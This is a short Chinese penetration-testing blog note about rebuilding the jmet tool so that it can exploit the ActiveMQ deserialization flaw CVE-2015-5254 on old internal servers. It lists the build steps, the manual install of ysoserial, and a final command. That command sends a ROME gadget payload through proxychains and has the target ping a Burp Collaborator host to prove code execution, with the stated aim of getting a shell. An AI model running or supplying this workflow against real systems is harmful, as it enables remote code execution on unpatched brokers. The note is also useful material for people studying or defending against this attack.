重新编译jmet小记
在一次渗透测试过程中,发现内网有一些activemq版本很老(2010年前的),但是并没有/fileserver这个路径意味着没法用CVE-2016-3088(猜测经过加固),不过幸运的是/admin没有授权就能访问意味着有主动触发CVE-2015-5254的可能性,猜测这种偏门的java洞可能被加固人员忽略,所以抄起jmet试了一下。回显如下
看样子是失败了,经过一番谷歌过后看到github上有如下回答,猜测是因为activemq所依赖的包版本过老而jmet依赖的包比较新所以打不成功。
正如github上这个老外所说需要加入legacy。
1 | <dependency> |
既然问题问题出在依赖上就意味着要重新编译,踩了一些坑下面记录一下。
jmet可以攻击多种软件,有一些是商业的软件我们搞不到对应的jar,所以删除下面两个java。
1 | rm -f src/main/java/de/codewhite/jmet/target/impl/WebSphereMQTarget.java |
另外注意到jmet是依赖于ysoserial
并且我们后续也会用到,奈何没找到什么中央仓库提供这种黑客依赖。无奈需要自己到导入
1 | mvn install:install-file -DgroupId=ysoserial -DartifactId=ysoserial -Dversion=0.0.5-SNAPSHOT -Dpackaging=jar -Dfile= |
编译
1 | export MAVEN_OPTS=-Xss10m |
然后就可以快乐的一键getshell了。
1 | proxychains java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping -n 1 wyyekrec31qzxtpc4kq636jbi2otci.burpcollaborator.net" -Yp ROME ip port |